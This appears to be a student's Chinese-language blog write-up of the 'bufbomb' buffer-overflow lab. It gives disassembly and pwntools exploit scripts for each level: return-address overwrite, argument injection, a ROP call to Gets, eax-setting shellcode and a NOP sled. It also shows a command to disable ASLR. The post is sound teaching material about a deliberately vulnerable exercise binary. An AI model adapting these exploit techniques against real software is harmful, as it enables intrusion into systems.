Loading... 这个实验花了我一天左右的时间吧,还是对 `pwn` 不太熟悉,很多东西都要现查 (不听课的下场 qaq) 。下面整理一下解题思路和遇到的坑吧。 > 老师给的文件是 `bufbomb` ,这东西其实上网搜搜就能搜到。下面的源码什么的也是网上找的 ## 准备 这次的实验嘛,主要就是劫持程序的运行流,让程序运行我们想要的代码,从而达到我们预期的目的。 来看看程序的输入函数 `getbuf` : ```c #define NORMAL_BUFF_SIZE 24 int getbuf() { char buf[NORMAL_BUFF_SIZE]; Gets(buf); return 1; } ``` 这里的 Gets 函数是没有任何保护措施的,也就是你给多少它就读多少。下面来看看一个栈的结构: ![stack.png](https://blog.domineto.top/usr/uploads/2020/05/3445903241.png) 如果我们的输入超过了 `buf` 的大小,那么 Gets 函数还是会继续覆盖,这样的话就会把 `saved ebp` 给覆盖掉。再接着读的话 ,还可以将函数的 `return address` 给覆盖掉,这样就可以达成劫持程序流的目的啦。 来看看这个文件的帮助: ![bufbomb.png](https://blog.domineto.top/usr/uploads/2020/05/3942016375.png) 这东西老师绝对是魔改过的。简单的看了一下,感觉 -s 参数没什么卵用,审计了汇编代码后发现 -g 参数才会判断是否通过。至于 -s 参数加了之后会一直阻塞在那里,汇编看的晕晕乎乎的也没管了,反正能用就行了是吧 qwq 。 > 最后一题一定要加 -n 参数 !!!被坑了挺久的,脚本一直不对,然后发现复制的时候忘记该参数了 ## 0x00: smoke 构造 payload 使缓冲区溢出,从而让目标程序执行 smoke 函数。 > 源码 ```c #define NORMAL_BUFFER_SIZE 24 void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } } int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } void smoke() { puts("Smoke!: You calledsmoke()"); validate(0); exit(0); } ``` 目标是调用 `getbuf` 函数后不正常返回,而是跳转到 `smoke` 函数的位置,所以直接覆盖返回地址就好啦。 查看反汇编代码得到 smoke 函数的地址为 `0x08048eb0` 。 ```assembly 08048eb0 <smoke>: 8048eb0: 55 push %ebp 8048eb1: 89 e5 mov %esp,%ebp 8048eb3: 83 ec 08 sub $0x8,%esp 8048eb6: c7 04 24 f7 95 04 08 movl $0x80495f7,(%esp) 8048ebd: e8 96 f8 ff ff call 8048758 <puts@plt> 8048ec2: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048ec9: e8 22 fc ff ff call 8048af0 <validate> 8048ece: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048ed5: e8 0e f9 ff ff call 80487e8 <exit@plt> 8048eda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ``` `buf` 只有 24 字节,所以只需要构造 0x28(buf) + 0x4(ebp) + 0x4(return address) = 0x30 字节的 payload 即可。 所以这里编写脚本攻击: ```python def smoke(): smoke_addr = 0x08048eb0 program = process(["./bufbomb", "-t", "Richard", "-g"]) payload = 'a' * 24 + 'b' * 4 + p32(smoke_addr) program.sendline(payload) print(program.recvall()) ``` > 说明一下这里我是用了 `pwntools` 库来写脚本 ## 0x01 fizz 构造 payload 使缓冲区溢出,从而让目标程序执行 fizz 函数,同时传入一个 cookie 作为参数。 > 源码 ```c void fizz(int val) { if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); } ``` 和前一关类似的解法,只是多个参数。 查看 fizz 函数的反汇编代码: ```assembly 08048e60 <fizz>: 8048e60: 55 push %ebp 8048e61: 89 e5 mov %esp,%ebp 8048e63: 83 ec 08 sub $0x8,%esp 8048e66: 8b 45 08 mov 0x8(%ebp),%eax 8048e69: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax 8048e6f: 74 1f je 8048e90 <fizz+0x30> 8048e71: 89 44 24 04 mov %eax,0x4(%esp) 8048e75: c7 04 24 8c 98 04 08 movl $0x804988c,(%esp) 8048e7c: e8 27 f9 ff ff call 80487a8 <printf@plt> 8048e81: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e88: e8 5b f9 ff ff call 80487e8 <exit@plt> 8048e8d: 8d 76 00 lea 0x0(%esi),%esi 8048e90: 89 44 24 04 mov %eax,0x4(%esp) 8048e94: c7 04 24 d9 95 04 08 movl $0x80495d9,(%esp) 8048e9b: e8 08 f9 ff ff call 80487a8 <printf@plt> 8048ea0: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048ea7: e8 44 fc ff ff call 8048af0 <validate> 8048eac: eb d3 jmp 8048e81 <fizz+0x21> 8048eae: 89 f6 mov %esi,%esi ``` 注意这两句 ```assembly mov 0x8(%ebp),%eax cmp 0x804a1d4,%eax ``` 使用 gdb 易知 0x804a1d4 中即为 cookie 值,所以我们应该将 [ ebp + 8 ] 的值修改为 cookie ,然后再执行 fizz 函数。所以在上一题的基础上多覆盖 0x4 个字节即可。 编写脚本如下: ```python def fizz(): fizz_addr = 0x08048e60 program = process(["./bufbomb", "-t", "Richard", "-g"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) payload = 'a' * 24 + 'b' * 4 + p32(fizz_addr) + 'c' * 4 + p32(cookie) program.sendline(payload) print(program.recvall()) ``` ## 0x02 bang 构造 payload 使缓冲区溢出,从而让目标程序执行 bang 函数,同时修改全局变量 global_value 为 cookie 值。 > 源码 ```c #define NORMAL_BUFFER_SIZE 32 void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } } int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); } ``` 首先需要找到全局变量的地址。查看 bang 的反汇编代码: ```assembly 08048e10 <bang>: 8048e10: 55 push %ebp 8048e11: 89 e5 mov %esp,%ebp 8048e13: 83 ec 08 sub $0x8,%esp 8048e16: a1 c4 a1 04 08 mov 0x804a1c4,%eax 8048e1b: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax 8048e21: 74 1d je 8048e40 <bang+0x30> 8048e23: 89 44 24 04 mov %eax,0x4(%esp) 8048e27: c7 04 24 bb 95 04 08 movl $0x80495bb,(%esp) 8048e2e: e8 75 f9 ff ff call 80487a8 <printf@plt> 8048e33: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e3a: e8 a9 f9 ff ff call 80487e8 <exit@plt> 8048e3f: 90 nop 8048e40: 89 44 24 04 mov %eax,0x4(%esp) 8048e44: c7 04 24 64 98 04 08 movl $0x8049864,(%esp) 8048e4b: e8 58 f9 ff ff call 80487a8 <printf@plt> 8048e50: c7 04 24 02 00 00 00 movl $0x2,(%esp) 8048e57: e8 94 fc ff ff call 8048af0 <validate> 8048e5c: eb d5 jmp 8048e33 <bang+0x23> 8048e5e: 89 f6 mov %esi,%esi ``` 这里面有两个地址,0x804a1c4 和 0x804a1d4 。通过 gdb 调试可以知道 0x804a1c4 是 global_value 的地址。 由于全局变量存在于 bss 段或 data 段,所以我们无法直接修改。在这里函数的返回地址和参数都是可控的,很容易联想到构造 ROP 来覆盖 global_value 。这里我们可以利用的函数有 Gets 函数可以向内存中写入数据,所以大致思路如下: 利用 getbuf 函数溢出到 Gets 函数,对 global_value 进行覆盖,然后再跳转回 bang 函数继续执行。 编写脚本如下: ```python def bang(): bang_addr = 0x08048e10 Gets_addr = 0x080489c0 global_value_addr = 0x804a1c4 program = process(["./bufbomb", "-t", "Richard", "-g"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) payload = 'a' * 24 + 'b' * 4 + p32(Gets_addr) + p32(bang_addr) + p32(global_value_addr) program.sendline(payload) program.sendline(p32(cookie)) # set global_value by function Gets print(program.recvall()) ``` ## 0x03 boom 前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原 test 的 ebp 给破坏了。Boom 这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中。 除此之外,我们还需要构造 payload 使 getbuf 函数返回 cookie 值,而不是返回 0x01。修改返回值需要修改 eax 寄存器的值,这里可以利用 shellcode 来修改 eax 的值。 > 源码 ```c void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie)///getbuf函数返回值为cookie { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } } ``` 构造 shellcode 如下: ```assembly movl $cookie, %eax //将返回值修改为cookie pushl $0x08048db2 //将call getbuf函数的下一条要执行的指令的地址压入返回地址 ret //用ret来执行返回地址 ``` 还原 ebp 有两种方法: - 第一种是直接找出旧 ebp 的地址,然后在溢出的时候覆盖备份的 ebp ,这样 ebp 保持不变就可以正确还原了。 - 第二种方法是通过 esp 计算出 ebp 的地址。esp 和 ebp 的相对距离是不变的,所以可以据此还原 ebp 的值。只需要调试出相对距离,并且在 shellcode 内还原即可。 > 如果使用第一种方法不能有地址随机化。Linux 关闭地址随机化可以使用下面的语句: > > `echo 0 > /proc/sys/kernel/randomize_va_space` 这里我使用了第一种方法,编写脚本如下: ```python def test(): ret_addr = 0x08048db2 # next code after getbuf old_ebp = 0xffffb948 shellcode_addr = 0xffffb910 program = process(["./bufbomb", "-t", "Richard", "-g"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) shellcode = asm("mov eax, {0} \n \ push {1} \n \ ret".format(cookie, ret_addr)) payload = shellcode + '\x00' * (24 - len(shellcode)) + p32(old_ebp) + p32(shellcode_addr) program.sendline(payload) print(program.recvall()) ``` ## 0x04 nitro 这一关承接上一关,增加了难度。进入这一关需要添加 -n 参数,调用的是 getbufn 和 testn 函数,需要通过五次 test case 才可以通过。 > 源码 ```c #define KABOOM_BUFFER_SIZE 512 void testn() { int val; volatile int local = uniqueval(); val = getbufn(); /* Check for corrupted stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("KABOOM!: getbufn returned 0x%x\n", val); validate(4); } else { printf("Dud: getbufn returned 0x%x\n", val); } } int getbufn() { char buf[KABOOM_BUFFER_SIZE]; Gets(buf); return 1; } ``` 查看 getbufn 函数,发现 buf 扩大到 0x208 了。 查看 testn 函数,和上一关的 test 函数几乎一样。 这里最大的问题就是开了随机化,栈空间的地址可能会发生变化。那么按照上一题的思路,shellcode 的首地址和 ebp 的恢复就会出现问题。 ebp 的问题很好解决, ebp 和 esp 的相对位置是不变的,所以根据汇编代码很容易找出 ebp 和 esp 之间的相对距离是 0x18。 接下来是首地址的问题。既然首地址的精确位置没法确定,但是大致位置还是可以确定的。此时很容易想到使用 NOP sled 方法,来将程序流 "滑" 到 shellcode 的位置。 NOP 指令的十六进制码为 0x90 ,所以可以构造 payload 如下: ```python payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr) ``` shellcode 的地址可以通过调试确定,我本地大约在 0xffffb720 左右。 至此,通过一次 test 的思路已经明确了,只需要将以上流程重复 5 次即可。编写脚本如下: ```python def testn(): ret_addr = 0x08048d42 # next code after getbuf shellcode_addr = 0xffffb720 program = process(["./bufbomb", "-t", "Richard", "-ng"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) shellcode = asm("mov eax, {0} \n \ lea ebp, [esp + 0x18] \n \ push {1} \n \ ret".format(cookie, ret_addr)) for i in range(5): payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr) program.sendline(payload) print(program.recvall()) ``` ## exp ```python # encoding: utf-8 from pwn import * # debug mode # context.log_level = 'DEBUG' def smoke(): smoke_addr = 0x08048eb0 program = process(["./bufbomb", "-t", "Richard", "-g"]) payload = 'a' * 24 + 'b' * 4 + p32(smoke_addr) program.sendline(payload) print(program.recvall()) def fizz(): fizz_addr = 0x08048e60 program = process(["./bufbomb", "-t", "Richard", "-g"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) payload = 'a' * 24 + 'b' * 4 + p32(fizz_addr) + 'c' * 4 + p32(cookie) program.sendline(payload) print(program.recvall()) def bang(): bang_addr = 0x08048e10 Gets_addr = 0x080489c0 global_value_addr = 0x804a1c4 program = process(["./bufbomb", "-t", "Richard", "-g"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) payload = 'a' * 24 + 'b' * 4 + p32(Gets_addr) + p32(bang_addr) + p32(global_value_addr) program.sendline(payload) program.sendline(p32(cookie)) # set global_value by function Gets print(program.recvall()) def test(): ret_addr = 0x08048db2 # next code after getbuf old_ebp = 0xffffb948 shellcode_addr = 0xffffb910 program = process(["./bufbomb", "-t", "Richard", "-g"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) shellcode = asm("mov eax, {0} \n \ push {1} \n \ ret".format(cookie, ret_addr)) payload = shellcode + '\x00' * (24 - len(shellcode)) + p32(old_ebp) + p32(shellcode_addr) program.sendline(payload) print(program.recvall()) def testn(): ret_addr = 0x08048d42 # next code after getbuf shellcode_addr = 0xffffb720 program = process(["./bufbomb", "-t", "Richard", "-ng"]) program.recvuntil("Cookie:") # get cookie cookie = int(program.recvline().strip(), 16) shellcode = asm("mov eax, {0} \n \ lea ebp, [esp + 0x18] \n \ push {1} \n \ ret".format(cookie, ret_addr)) for i in range(5): payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr) program.sendline(payload) print(program.recvall()) if __name__ == '__main__': print("First level: smoke") smoke() print("Second level: fizz") fizz() print("Third level: bang") bang() print("Fourth level: test") test() print("Fifth level: testn") testn() ``` ## Reference https://blog.csdn.net/counsellor/article/details/81543197 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/ https://blog.csdn.net/Apollon_krj/article/details/76793914 https://www.jianshu.com/p/355e4badab50 最后修改:2020 年 05 月 24 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏